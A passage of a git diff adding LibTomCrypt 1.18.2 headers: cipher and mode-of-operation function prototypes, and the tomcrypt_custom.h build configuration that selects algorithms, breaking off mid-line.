+int blowfish_ecb_decrypt(const unsigned char *ct, unsigned char *pt, symmetric_key *skey); +int blowfish_test(void); +void blowfish_done(symmetric_key *skey); +int blowfish_keysize(int *keysize); +extern const struct ltc_cipher_descriptor blowfish_desc; +#endif + +#ifdef LTC_RC5 +int rc5_setup(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); +int rc5_ecb_encrypt(const unsigned char *pt, unsigned char *ct, symmetric_key *skey); +int rc5_ecb_decrypt(const unsigned char *ct, unsigned char *pt, symmetric_key *skey); +int rc5_test(void); +void rc5_done(symmetric_key *skey); +int rc5_keysize(int *keysize); +extern const struct ltc_cipher_descriptor rc5_desc; +#endif + +#ifdef LTC_RC6 +int rc6_setup(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); +int rc6_ecb_encrypt(const unsigned char *pt, unsigned char *ct, symmetric_key *skey); +int rc6_ecb_decrypt(const unsigned char *ct, unsigned char *pt, symmetric_key *skey); +int rc6_test(void); +void rc6_done(symmetric_key *skey); +int rc6_keysize(int *keysize); +extern const struct ltc_cipher_descriptor rc6_desc; +#endif + +#ifdef LTC_RC2 +int rc2_setup(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); +int rc2_setup_ex(const unsigned char *key, int keylen, int bits, int num_rounds, symmetric_key *skey); +int rc2_ecb_encrypt(const unsigned char *pt, unsigned char *ct, symmetric_key *skey); +int rc2_ecb_decrypt(const unsigned char *ct, unsigned char *pt, symmetric_key *skey); +int rc2_test(void); +void rc2_done(symmetric_key *skey); +int rc2_keysize(int *keysize); +extern const struct ltc_cipher_descriptor rc2_desc; +#endif + +#ifdef LTC_SAFERP +int saferp_setup(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); +int saferp_ecb_encrypt(const unsigned char *pt, unsigned char *ct, symmetric_key *skey); +int saferp_ecb_decrypt(const unsigned char *ct, unsigned char *pt, symmetric_key *skey); +int saferp_test(void); +void saferp_done(symmetric_key *skey); +int saferp_keysize(int *keysize); +extern const struct ltc_cipher_descriptor saferp_desc; +#endif + +#ifdef LTC_SAFER +int safer_k64_setup(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); +int safer_sk64_setup(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); +int safer_k128_setup(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); +int safer_sk128_setup(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); +int safer_ecb_encrypt(const unsigned char *pt, unsigned char *ct, symmetric_key *key); +int safer_ecb_decrypt(const unsigned char *ct, unsigned char *pt, symmetric_key *key); +int safer_k64_test(void); +int safer_sk64_test(void); +int safer_sk128_test(void); +void safer_done(symmetric_key *skey); +int safer_64_keysize(int *keysize); +int safer_128_keysize(int *keysize); +extern const struct ltc_cipher_descriptor safer_k64_desc, safer_k128_desc, safer_sk64_desc, safer_sk128_desc; +#endif + +#ifdef LTC_RIJNDAEL + +/* make aes an alias */ +#define aes_setup rijndael_setup +#define aes_ecb_encrypt rijndael_ecb_encrypt +#define aes_ecb_decrypt rijndael_ecb_decrypt +#define aes_test rijndael_test +#define aes_done rijndael_done +#define aes_keysize rijndael_keysize + +#define aes_enc_setup rijndael_enc_setup +#define aes_enc_ecb_encrypt rijndael_enc_ecb_encrypt +#define aes_enc_keysize rijndael_enc_keysize + +int rijndael_setup(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); +int rijndael_ecb_encrypt(const unsigned char *pt, unsigned char *ct, symmetric_key *skey); +int rijndael_ecb_decrypt(const unsigned char *ct, unsigned char *pt, symmetric_key *skey); +int rijndael_test(void); +void rijndael_done(symmetric_key *skey); +int rijndael_keysize(int *keysize); +int rijndael_enc_setup(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); +int rijndael_enc_ecb_encrypt(const unsigned char *pt, unsigned char *ct, symmetric_key *skey); +void rijndael_enc_done(symmetric_key *skey); +int rijndael_enc_keysize(int *keysize); +extern const struct ltc_cipher_descriptor rijndael_desc, aes_desc; +extern const struct ltc_cipher_descriptor rijndael_enc_desc, aes_enc_desc; +#endif + +#ifdef LTC_XTEA +int xtea_setup(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); +int xtea_ecb_encrypt(const unsigned char *pt, unsigned char *ct, symmetric_key *skey); +int xtea_ecb_decrypt(const unsigned char *ct, unsigned char *pt, symmetric_key *skey); +int xtea_test(void); +void xtea_done(symmetric_key *skey); +int xtea_keysize(int *keysize); +extern const struct ltc_cipher_descriptor xtea_desc; +#endif + +#ifdef LTC_TWOFISH +int twofish_setup(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); +int twofish_ecb_encrypt(const unsigned char *pt, unsigned char *ct, symmetric_key *skey); +int twofish_ecb_decrypt(const unsigned char *ct, unsigned char *pt, symmetric_key *skey); +int twofish_test(void); +void twofish_done(symmetric_key *skey); +int twofish_keysize(int *keysize); +extern const struct ltc_cipher_descriptor twofish_desc; +#endif + +#ifdef LTC_DES +int des_setup(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); +int des_ecb_encrypt(const unsigned char *pt, unsigned char *ct, symmetric_key *skey); +int des_ecb_decrypt(const unsigned char *ct, unsigned char *pt, symmetric_key *skey); +int des_test(void); +void des_done(symmetric_key *skey); +int des_keysize(int *keysize); +int des3_setup(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); +int des3_ecb_encrypt(const unsigned char *pt, unsigned char *ct, symmetric_key *skey); +int des3_ecb_decrypt(const unsigned char *ct, unsigned char *pt, symmetric_key *skey); +int des3_test(void); +void des3_done(symmetric_key *skey); +int des3_keysize(int *keysize); +extern const struct ltc_cipher_descriptor des_desc, des3_desc; +#endif + +#ifdef LTC_CAST5 +int cast5_setup(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); +int cast5_ecb_encrypt(const unsigned char *pt, unsigned char *ct, symmetric_key *skey); +int cast5_ecb_decrypt(const unsigned char *ct, unsigned char *pt, symmetric_key *skey); +int cast5_test(void); +void cast5_done(symmetric_key *skey); +int cast5_keysize(int *keysize); +extern const struct ltc_cipher_descriptor cast5_desc; +#endif + +#ifdef LTC_NOEKEON +int noekeon_setup(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); +int noekeon_ecb_encrypt(const unsigned char *pt, unsigned char *ct, symmetric_key *skey); +int noekeon_ecb_decrypt(const unsigned char *ct, unsigned char *pt, symmetric_key *skey); +int noekeon_test(void); +void noekeon_done(symmetric_key *skey); +int noekeon_keysize(int *keysize); +extern const struct ltc_cipher_descriptor noekeon_desc; +#endif + +#ifdef LTC_SKIPJACK +int skipjack_setup(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); +int skipjack_ecb_encrypt(const unsigned char *pt, unsigned char *ct, symmetric_key *skey); +int skipjack_ecb_decrypt(const unsigned char *ct, unsigned char *pt, symmetric_key *skey); +int skipjack_test(void); +void skipjack_done(symmetric_key *skey); +int skipjack_keysize(int *keysize); +extern const struct ltc_cipher_descriptor skipjack_desc; +#endif + +#ifdef LTC_KHAZAD +int khazad_setup(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); +int khazad_ecb_encrypt(const unsigned char *pt, unsigned char *ct, symmetric_key *skey); +int khazad_ecb_decrypt(const unsigned char *ct, unsigned char *pt, symmetric_key *skey); +int khazad_test(void); +void khazad_done(symmetric_key *skey); +int khazad_keysize(int *keysize); +extern const struct ltc_cipher_descriptor khazad_desc; +#endif + +#ifdef LTC_ANUBIS +int anubis_setup(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); +int anubis_ecb_encrypt(const unsigned char *pt, unsigned char *ct, symmetric_key *skey); +int anubis_ecb_decrypt(const unsigned char *ct, unsigned char *pt, symmetric_key *skey); +int anubis_test(void); +void anubis_done(symmetric_key *skey); +int anubis_keysize(int *keysize); +extern const struct ltc_cipher_descriptor anubis_desc; +#endif + +#ifdef LTC_KSEED +int kseed_setup(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); +int kseed_ecb_encrypt(const unsigned char *pt, unsigned char *ct, symmetric_key *skey); +int kseed_ecb_decrypt(const unsigned char *ct, unsigned char *pt, symmetric_key *skey); +int kseed_test(void); +void kseed_done(symmetric_key *skey); +int kseed_keysize(int *keysize); +extern const struct ltc_cipher_descriptor kseed_desc; +#endif + +#ifdef LTC_KASUMI +int kasumi_setup(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); +int kasumi_ecb_encrypt(const unsigned char *pt, unsigned char *ct, symmetric_key *skey); +int kasumi_ecb_decrypt(const unsigned char *ct, unsigned char *pt, symmetric_key *skey); +int kasumi_test(void); +void kasumi_done(symmetric_key *skey); +int kasumi_keysize(int *keysize); +extern const struct ltc_cipher_descriptor kasumi_desc; +#endif + + +#ifdef LTC_MULTI2 +int multi2_setup(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); +int multi2_ecb_encrypt(const unsigned char *pt, unsigned char *ct, symmetric_key *skey); +int multi2_ecb_decrypt(const unsigned char *ct, unsigned char *pt, symmetric_key *skey); +int multi2_test(void); +void multi2_done(symmetric_key *skey); +int multi2_keysize(int *keysize); +extern const struct ltc_cipher_descriptor multi2_desc; +#endif + +#ifdef LTC_CAMELLIA +int camellia_setup(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); +int camellia_ecb_encrypt(const unsigned char *pt, unsigned char *ct, symmetric_key *skey); +int camellia_ecb_decrypt(const unsigned char *ct, unsigned char *pt, symmetric_key *skey); +int camellia_test(void); +void camellia_done(symmetric_key *skey); +int camellia_keysize(int *keysize); +extern const struct ltc_cipher_descriptor camellia_desc; +#endif + +#ifdef LTC_ECB_MODE +int ecb_start(int cipher, const unsigned char *key, + int keylen, int num_rounds, symmetric_ECB *ecb); +int ecb_encrypt(const unsigned char *pt, unsigned char *ct, unsigned long len, symmetric_ECB *ecb); +int ecb_decrypt(const unsigned char *ct, unsigned char *pt, unsigned long len, symmetric_ECB *ecb); +int ecb_done(symmetric_ECB *ecb); +#endif + +#ifdef LTC_CFB_MODE +int cfb_start(int cipher, const unsigned char *IV, const unsigned char *key, + int keylen, int num_rounds, symmetric_CFB *cfb); +int cfb_encrypt(const unsigned char *pt, unsigned char *ct, unsigned long len, symmetric_CFB *cfb); +int cfb_decrypt(const unsigned char *ct, unsigned char *pt, unsigned long len, symmetric_CFB *cfb); +int cfb_getiv(unsigned char *IV, unsigned long *len, symmetric_CFB *cfb); +int cfb_setiv(const unsigned char *IV, unsigned long len, symmetric_CFB *cfb); +int cfb_done(symmetric_CFB *cfb); +#endif + +#ifdef LTC_OFB_MODE +int ofb_start(int cipher, const unsigned char *IV, const unsigned char *key, + int keylen, int num_rounds, symmetric_OFB *ofb); +int ofb_encrypt(const unsigned char *pt, unsigned char *ct, unsigned long len, symmetric_OFB *ofb); +int ofb_decrypt(const unsigned char *ct, unsigned char *pt, unsigned long len, symmetric_OFB *ofb); +int ofb_getiv(unsigned char *IV, unsigned long *len, symmetric_OFB *ofb); +int ofb_setiv(const unsigned char *IV, unsigned long len, symmetric_OFB *ofb); +int ofb_done(symmetric_OFB *ofb); +#endif + +#ifdef LTC_CBC_MODE +int cbc_start(int cipher, const unsigned char *IV, const unsigned char *key, + int keylen, int num_rounds, symmetric_CBC *cbc); +int cbc_encrypt(const unsigned char *pt, unsigned char *ct, unsigned long len, symmetric_CBC *cbc); +int cbc_decrypt(const unsigned char *ct, unsigned char *pt, unsigned long len, symmetric_CBC *cbc); +int cbc_getiv(unsigned char *IV, unsigned long *len, symmetric_CBC *cbc); +int cbc_setiv(const unsigned char *IV, unsigned long len, symmetric_CBC *cbc); +int cbc_done(symmetric_CBC *cbc); +#endif + +#ifdef LTC_CTR_MODE + +#define CTR_COUNTER_LITTLE_ENDIAN 0x0000 +#define CTR_COUNTER_BIG_ENDIAN 0x1000 +#define LTC_CTR_RFC3686 0x2000 + +int ctr_start( int cipher, + const unsigned char *IV, + const unsigned char *key, int keylen, + int num_rounds, int ctr_mode, + symmetric_CTR *ctr); +int ctr_encrypt(const unsigned char *pt, unsigned char *ct, unsigned long len, symmetric_CTR *ctr); +int ctr_decrypt(const unsigned char *ct, unsigned char *pt, unsigned long len, symmetric_CTR *ctr); +int ctr_getiv(unsigned char *IV, unsigned long *len, symmetric_CTR *ctr); +int ctr_setiv(const unsigned char *IV, unsigned long len, symmetric_CTR *ctr); +int ctr_done(symmetric_CTR *ctr); +int ctr_test(void); +#endif + +#ifdef LTC_LRW_MODE + +#define LRW_ENCRYPT LTC_ENCRYPT +#define LRW_DECRYPT LTC_DECRYPT + +int lrw_start( int cipher, + const unsigned char *IV, + const unsigned char *key, int keylen, + const unsigned char *tweak, + int num_rounds, + symmetric_LRW *lrw); +int lrw_encrypt(const unsigned char *pt, unsigned char *ct, unsigned long len, symmetric_LRW *lrw); +int lrw_decrypt(const unsigned char *ct, unsigned char *pt, unsigned long len, symmetric_LRW *lrw); +int lrw_getiv(unsigned char *IV, unsigned long *len, symmetric_LRW *lrw); +int lrw_setiv(const unsigned char *IV, unsigned long len, symmetric_LRW *lrw); +int lrw_done(symmetric_LRW *lrw); +int lrw_test(void); + +/* don't call */ +int lrw_process(const unsigned char *pt, unsigned char *ct, unsigned long len, int mode, symmetric_LRW *lrw); +#endif + +#ifdef LTC_F8_MODE +int f8_start( int cipher, const unsigned char *IV, + const unsigned char *key, int keylen, + const unsigned char *salt_key, int skeylen, + int num_rounds, symmetric_F8 *f8); +int f8_encrypt(const unsigned char *pt, unsigned char *ct, unsigned long len, symmetric_F8 *f8); +int f8_decrypt(const unsigned char *ct, unsigned char *pt, unsigned long len, symmetric_F8 *f8); +int f8_getiv(unsigned char *IV, unsigned long *len, symmetric_F8 *f8); +int f8_setiv(const unsigned char *IV, unsigned long len, symmetric_F8 *f8); +int f8_done(symmetric_F8 *f8); +int f8_test_mode(void); +#endif + +#ifdef LTC_XTS_MODE +typedef struct { + symmetric_key key1, key2; + int cipher; +} symmetric_xts; + +int xts_start( int cipher, + const unsigned char *key1, + const unsigned char *key2, + unsigned long keylen, + int num_rounds, + symmetric_xts *xts); + +int xts_encrypt( + const unsigned char *pt, unsigned long ptlen, + unsigned char *ct, + unsigned char *tweak, + symmetric_xts *xts); +int xts_decrypt( + const unsigned char *ct, unsigned long ptlen, + unsigned char *pt, + unsigned char *tweak, + symmetric_xts *xts); + +void xts_done(symmetric_xts *xts); +int xts_test(void); +void xts_mult_x(unsigned char *I); +#endif + +int find_cipher(const char *name); +int find_cipher_any(const char *name, int blocklen, int keylen); +int find_cipher_id(unsigned char ID); +int register_cipher(const struct ltc_cipher_descriptor *cipher); +int unregister_cipher(const struct ltc_cipher_descriptor *cipher); +int register_all_ciphers(void); +int cipher_is_valid(int idx); + +LTC_MUTEX_PROTO(ltc_cipher_mutex) + +/* ---- stream ciphers ---- */ + +#ifdef LTC_CHACHA + +typedef struct { + ulong32 input[16]; + unsigned char kstream[64]; + unsigned long ksleft; + unsigned long ivlen; + int rounds; +} chacha_state; + +int chacha_setup(chacha_state *st, const unsigned char *key, unsigned long keylen, int rounds); +int chacha_ivctr32(chacha_state *st, const unsigned char *iv, unsigned long ivlen, ulong32 counter); +int chacha_ivctr64(chacha_state *st, const unsigned char *iv, unsigned long ivlen, ulong64 counter); +int chacha_crypt(chacha_state *st, const unsigned char *in, unsigned long inlen, unsigned char *out); +int chacha_keystream(chacha_state *st, unsigned char *out, unsigned long outlen); +int chacha_done(chacha_state *st); +int chacha_test(void); + +#endif /* LTC_CHACHA */ + +#ifdef LTC_RC4_STREAM + +typedef struct { + unsigned int x, y; + unsigned char buf[256]; +} rc4_state; + +int rc4_stream_setup(rc4_state *st, const unsigned char *key, unsigned long keylen); +int rc4_stream_crypt(rc4_state *st, const unsigned char *in, unsigned long inlen, unsigned char *out); +int rc4_stream_keystream(rc4_state *st, unsigned char *out, unsigned long outlen); +int rc4_stream_done(rc4_state *st); +int rc4_stream_test(void); + +#endif /* LTC_RC4_STREAM */ + +#ifdef LTC_SOBER128_STREAM + +typedef struct { + ulong32 R[17], /* Working storage for the shift register */ + initR[17], /* saved register contents */ + konst, /* key dependent constant */ + sbuf; /* partial word encryption buffer */ + int nbuf; /* number of part-word stream bits buffered */ +} sober128_state; + +int sober128_stream_setup(sober128_state *st, const unsigned char *key, unsigned long keylen); +int sober128_stream_setiv(sober128_state *st, const unsigned char *iv, unsigned long ivlen); +int sober128_stream_crypt(sober128_state *st, const unsigned char *in, unsigned long inlen, unsigned char *out); +int sober128_stream_keystream(sober128_state *st, unsigned char *out, unsigned long outlen); +int sober128_stream_done(sober128_state *st); +int sober128_stream_test(void); + +#endif /* LTC_SOBER128_STREAM */ + +/* ref: HEAD -> master, tag: v1.18.2 */ +/* git commit: 7e7eb695d581782f04b24dc444cbfde86af59853 */ +/* commit time: 2018-07-01 22:49:01 +0200 */ diff --git a/include/tomcrypt_custom.h b/include/tomcrypt_custom.h new file mode 100644 index 0000000..e44a63a --- /dev/null +++ b/include/tomcrypt_custom.h @@ -0,0 +1,590 @@ +/* LibTomCrypt, modular cryptographic library -- Tom St Denis + * + * LibTomCrypt is a library that provides various cryptographic + * algorithms in a highly modular and flexible manner. + * + * The library is free for all purposes without any express + * guarantee it works. + */ + +#ifndef TOMCRYPT_CUSTOM_H_ +#define TOMCRYPT_CUSTOM_H_ + +/* macros for various libc functions you can change for embedded targets */ +#ifndef XMALLOC +#define XMALLOC malloc +#endif +#ifndef XREALLOC +#define XREALLOC realloc +#endif +#ifndef XCALLOC +#define XCALLOC calloc +#endif +#ifndef XFREE +#define XFREE free +#endif + +#ifndef XMEMSET +#define XMEMSET memset +#endif +#ifndef XMEMCPY +#define XMEMCPY memcpy +#endif +#ifndef XMEMMOVE +#define XMEMMOVE memmove +#endif +#ifndef XMEMCMP +#define XMEMCMP memcmp +#endif +/* A memory compare function that has to run in constant time, + * c.f. mem_neq() API summary. + */ +#ifndef XMEM_NEQ +#define XMEM_NEQ mem_neq +#endif +#ifndef XSTRCMP +#define XSTRCMP strcmp +#endif + +#ifndef XCLOCK +#define XCLOCK clock +#endif + +#ifndef XQSORT +#define XQSORT qsort +#endif + +#if ( defined(malloc) || defined(realloc) || defined(calloc) || defined(free) || \ + defined(memset) || defined(memcpy) || defined(memcmp) || defined(strcmp) || \ + defined(clock) || defined(qsort) ) && !defined(LTC_NO_PROTOTYPES) +#define LTC_NO_PROTOTYPES +#endif + +/* shortcut to disable automatic inclusion */ +#if defined LTC_NOTHING && !defined LTC_EASY + #define LTC_NO_CIPHERS + #define LTC_NO_MODES + #define LTC_NO_HASHES + #define LTC_NO_MACS + #define LTC_NO_PRNGS + #define LTC_NO_PK + #define LTC_NO_PKCS + #define LTC_NO_MISC +#endif /* LTC_NOTHING */ + +/* Easy button? */ +#ifdef LTC_EASY + #define LTC_NO_CIPHERS + #define LTC_RIJNDAEL + #define LTC_BLOWFISH + #define LTC_DES + #define LTC_CAST5 + + #define LTC_NO_MODES + #define LTC_ECB_MODE + #define LTC_CBC_MODE + #define LTC_CTR_MODE + + #define LTC_NO_HASHES + #define LTC_SHA1 + #define LTC_SHA3 + #define LTC_SHA512 + #define LTC_SHA384 + #define LTC_SHA256 + #define LTC_SHA224 + #define LTC_HASH_HELPERS + + #define LTC_NO_MACS + #define LTC_HMAC + #define LTC_OMAC + #define LTC_CCM_MODE + + #define LTC_NO_PRNGS + #define LTC_SPRNG + #define LTC_YARROW + #define LTC_DEVRANDOM + #define LTC_TRY_URANDOM_FIRST + #define LTC_RNG_GET_BYTES + #define LTC_RNG_MAKE_PRNG + + #define LTC_NO_PK + #define LTC_MRSA + #define LTC_MECC + + #define LTC_NO_MISC + #define LTC_BASE64 +#endif + +/* The minimal set of functionality to run the tests */ +#ifdef LTC_MINIMAL + #define LTC_RIJNDAEL + #define LTC_SHA256 + #define LTC_YARROW + #define LTC_CTR_MODE + + #define LTC_RNG_MAKE_PRNG + #define LTC_RNG_GET_BYTES + #define LTC_DEVRANDOM + #define LTC_TRY_URANDOM_FIRST + + #undef LTC_NO_FILE +#endif + +/* Enable self-test test vector checking */ +#ifndef LTC_NO_TEST + #define LTC_TEST +#endif +/* Enable extended self-tests */ +/* #define LTC_TEST_EXT */ + +/* Use small code where possible */ +/* #define LTC_SMALL_CODE */ + +/* clean the stack of functions which put private information on stack */ +/* #define LTC_CLEAN_STACK */ + +/* disable all file related functions */ +/* #define LTC_NO_FILE */ + +/* disable all forms of ASM */ +/* #define LTC_NO_ASM */ + +/* disable FAST mode */ +/* #define LTC_NO_FAST */ + +/* disable BSWAP on x86 */ +/* #define LTC_NO_BSWAP */ + +/* ---> math provider? <--- */ +#ifndef LTC_NO_MATH + +/* LibTomMath */ +/* #define LTM_DESC */ + +/* TomsFastMath */ +/* #define TFM_DESC */ + +/* GNU Multiple Precision Arithmetic Library */ +/* #define GMP_DESC */ + +#endif /* LTC_NO_MATH */ + +/* ---> Symmetric Block Ciphers <--- */ +#ifndef LTC_NO_CIPHERS + +#define LTC_BLOWFISH +#define LTC_RC2 +#define LTC_RC5 +#define LTC_RC6 +#define LTC_SAFERP +#define LTC_RIJNDAEL +#define LTC_XTEA +/* _TABLES tells it to use tables during setup, _SMALL means to use the smaller scheduled key format + * (saves 4KB of ram), _ALL_TABLES enables all tables during setup */ +#define LTC_TWOFISH +#ifndef LTC_NO_TABLES + #define LTC_TWOFISH_TABLES + /* #define LTC_TWOFISH_ALL_TABLES */ +#else + #define LTC_TWOFISH_SMALL +#endif +/* #define LTC_TWOFISH_SMALL */ +/* LTC_DES includes EDE triple-DES */ +#define LTC_DES +#define LTC_CAST5 +#define LTC_NOEKEON +#define LTC_SKIPJACK +#define LTC_SAFER +#define LTC_KHAZAD +#define LTC_ANUBIS +#define LTC_ANUBIS_TWEAK +#define LTC_KSEED +#define LTC_KASUMI +#define LTC_MULTI2 +#define LTC_CAMELLIA + +/* stream ciphers */ +#define LTC_CHACHA +#define LTC_RC4_STREAM +#define LTC_SOBER128_STREAM + +#endif /* LTC_NO_CIPHERS */ + + +/* ---> Block Cipher Modes of Operation <--- */ +#ifndef LTC_NO_MODES + +#define LTC_CFB_MODE +#define LTC_OFB_MODE +#define LTC_ECB_MODE +#define LTC_CBC_MODE +#define LTC_CTR_MODE + +/* F8 chaining mode */ +#define LTC_F8_MODE + +/* LRW mode */ +#define LTC_LRW_MODE +#ifndef LTC_NO_TABLES + /* like GCM mode this will enable 16 8x128 tables [64KB] that make + * seeking very fast. + */ + #define LTC_LRW_TABLES +#endif + +/* XTS mode */ +#define LTC_XTS_MODE + +#endif /* LTC_NO_MODES */ + +/* ---> One-Way Hash Functions <--- */ +#ifndef LTC_NO_HASHES + +#define LTC_CHC_HASH +#define LTC_WHIRLPOOL +#define LTC_SHA3 +#define LTC_SHA512 +#define LTC_SHA512_256 +#define LTC_SHA512_224 +#define LTC_SHA384 +#define LTC_SHA256 +#define LTC_SHA224 +#define LTC_TIGER +#define LTC_SHA1 +#define LTC_MD5 +#define LTC_MD4 +#define LTC_MD2 +#define LTC_RIPEMD128 +#define LTC_RIPEMD160 +#define LTC_RIPEMD256 +#define LTC_RIPEMD320 +#define LTC_BLAKE2S +#define LTC_BLAKE2B + +#define LTC_HASH_HELPERS + +#endif /* LTC_NO_HASHES */ + + +/* ---> MAC functions <--- */ +#ifndef LTC_NO_MACS + +#define LTC_HMAC +#define LTC_OMAC +#define LTC_PMAC +#define LTC_XCBC +#define LTC_F9_MODE +#define LTC_PELICAN +#define LTC_POLY1305 +#define LTC_BLAKE2SMAC +#define LTC_BLAKE2BMAC + +/* ---> Encrypt + Authenticate Modes <--- */ + +#define LTC_EAX_MODE + +#define LTC_OCB_MODE +#define LTC_OCB3_MODE +#define LTC_CCM_MODE +#define LTC_GCM_MODE +#define LTC_CHACHA20POLY1305_MODE + +/* Use 64KiB tables */ +#ifndef LTC_NO_TABLES + #define LTC_GCM_TABLES +#endif + +/* USE SSE2? requires GCC works on x86_32 and x86_64*/ +#ifdef LTC_GCM_TABLES +/* #define LTC_GCM_TABLES_SSE2 */ +#endif + +#endif /* LTC_NO_MACS */ + + +/* --> Pseudo Random Number Generators <--- */ +#ifndef LTC_NO_PRNGS + +/* Yarrow */ +#define LTC_YARROW + +/* a PRNG that simply reads from an available system source */ +#define LTC_SPRNG + +/* The RC4 stream cipher based PRNG */ +#define LTC_RC4 + +/* The ChaCha20 stream cipher based PRNG */ +#define LTC_CHACHA20_PRNG + +/* Fortuna PRNG */ +#define LTC_FORTUNA + +/* Greg's SOBER128 stream cipher based PRNG */ +#define LTC_SOBER128 + +/* the *nix style /dev/random device */ +#define LTC_DEVRANDOM +/* try /dev/urandom before trying /dev/random + * are you sure you want to disable this? http://www.2uo.de/myths-about-urandom/ */ +#define LTC_TRY_URANDOM_FIRST +/* rng_get_bytes() */ +#define LTC_RNG_GET_BYTES +/* rng_make_prng() */ +#define LTC_RNG_MAKE_PRNG + +/* enable the ltc_rng hook to integrate e.g. embedded hardware RNG's easily */ +/* #define LTC_PRNG_ENABLE_LTC_RNG */ + +#endif /* LTC_NO_PRNGS */ + +#ifdef LTC_YARROW + +/* which descriptor of AES to use? */ +/* 0 = rijndael_enc 1 = aes_enc, 2 = rijndael [full], 3 = aes [full] */ +#ifdef ENCRYPT_ONLY + #define LTC_YARROW_AES 0 +#else + #define LTC_YARROW_AES 2 +#endif + +#endif + +#ifdef LTC_FORTUNA + +#ifndef LTC_FORTUNA_WD +/* reseed every N calls to the read function */ +#define LTC_FORTUNA_WD 10 +#endif + +#ifndef LTC_FORTUNA_POOLS +/* number of pools (4..32) can save a bit of ram by lowering the count */ +#define LTC_FORTUNA_POOLS 32 +#endif + +#endif /* LTC_FORTUNA */ + + +/* ---> Public Key Crypto <--- */ +#ifndef LTC_NO_PK + +/* Include RSA support */ +#define LTC_MRSA + +/* Include Diffie-Hellman support */ +/* is_prime fails for GMP */ +#define LTC_MDH +/* Supported Key Sizes */ +#define LTC_DH768 +#define LTC_DH1024 +#define LTC_DH1536 +#define LTC_DH2048 + +#ifndef TFM_DESC +/* tfm has a problem in fp_isprime for larger key sizes */ +#define LTC_DH3072 +#define LTC_DH4096 +#define LTC_DH6144 +#define LTC_DH8192 +#endif + +/* Include Katja (a Rabin variant like RSA) */ +/* #define LTC_MKAT */ + +/* Digital Signature Algorithm */ +#define LTC_MDSA + +/* ECC */ +#define LTC_MECC + +/* use Shamir's trick for point mul (speeds up signature verification) */ +#define LTC_ECC_SHAMIR + +#if defined(TFM_DESC) && defined(LTC_MECC) + #define LTC_MECC_ACCEL +#endif + +/* do we want fixed point ECC */ +/* #define LTC_MECC_FP */ + +#endif /* LTC_NO_PK */ + +#if defined(LTC_MRSA) && !defined(LTC_NO_RSA_BLINDING) +/* Enable RSA blinding when doing private key operations by default */ +#define LTC_RSA_BLINDING +#endif /* LTC_NO_RSA_BLINDING */ + +#if defined(LTC_MRSA) && !defined(LTC_NO_RSA_CRT_HARDENING) +/* Enable RSA CRT hardening when doing private key operations by default */ +#define LTC_RSA_CRT_HARDENING +#endif /* LTC_NO_RSA_CRT_HARDENING */ + +#if defined(LTC_MECC) && !defined(LTC_NO_ECC_TIMING_RESISTANT) +/* Enable ECC timing resistant version by default */ +#define LTC_ECC_TIMING_RESISTANT +#endif + +/* PKCS #1 (RSA) and #5 (Password Handling) stuff */ +#ifndef LTC_NO_PKCS + +#define LTC_PKCS_1 +#define LTC_PKCS_5 + +/* Include ASN.1 DER (required by DSA/RSA) */ +#define LTC_DER + +#endif /* LTC_NO_PKCS */ + +/* misc stuff */ +#ifndef LTC_NO_MISC + +/* Various tidbits of modern neatoness */ +#define LTC_BASE64 +/* ... and it's URL safe version */ +#define LTC_BASE64_URL + +/* Keep LTC_NO_HKDF for compatibility reasons + * superseeded by LTC_NO_MISC*/ +#ifndef LTC_NO_HKDF +/* HKDF Key Derivation/Expansion stuff */ +#define LTC_HKDF +#endif /* LTC_NO_HKDF */ + +#define LTC_ADLER32 + +#define LTC_CRC32 + +#endif /* LTC_NO_MISC */ + +/* cleanup */ + +#ifdef LTC_MECC +/* Supported ECC Key Sizes */ +#ifndef LTC_NO_CURVES + #define LTC_ECC112 + #define LTC_ECC128 + #define LTC_ECC160 + #define LTC_ECC192 + #define LTC_ECC224 + #define LTC_ECC256 + #define LTC_ECC384 + #define LTC_ECC521 +#endif +#endif + +#if defined(LTC_DER) + #ifndef LTC_DER_MAX_RECURSION + /* Maximum recursion limit when processing nested ASN.1 types. */ + #define LTC_DER_MAX_RECURSION 30 + #endif +#endif + +#if defined(LTC_MECC) || defined(LTC_MRSA) || defined(LTC_MDSA) || defined(LTC_MKAT) + /* Include the MPI functionality? (required by the PK algorithms) */ + #define LTC_MPI + + #ifndef LTC_PK_MAX_RETRIES + /* iterations limit for retry-loops */ + #define LTC_PK_MAX_RETRIES 20 + #endif +#endif + +#ifdef LTC_MRSA + #define LTC_PKCS_1 +#endif + +#if defined(LTC_PELICAN) && !defined(LTC_RIJNDAEL) + #error Pelican-MAC requires LTC_RIJNDAEL +#endif + +#if defined(LTC_EAX_MODE) && !(defined(LTC_CTR_MODE) && defined(LTC_OMAC)) + #error LTC_EAX_MODE requires CTR and LTC_OMAC mode +#endif + +#if defined(LTC_YARROW) && !defined(LTC_CTR_MODE) + #error LTC_YARROW requires LTC_CTR_MODE chaining mode to be defined! +#endif + +#if defined(LTC_DER) && !defined(LTC_MPI) + #error ASN.1 DER requires MPI functionality +#endif + +#if (defined(LTC_MDSA) || defined(LTC_MRSA) || defined(LTC_MECC) || defined(LTC_MKAT)) && !defined(LTC_DER) + #error PK requires ASN.1 DER functionality, make sure LTC_DER is enabled +#endif + +#if defined(LTC_CHACHA20POLY1305_MODE) && (!defined(LTC_CHACHA) || 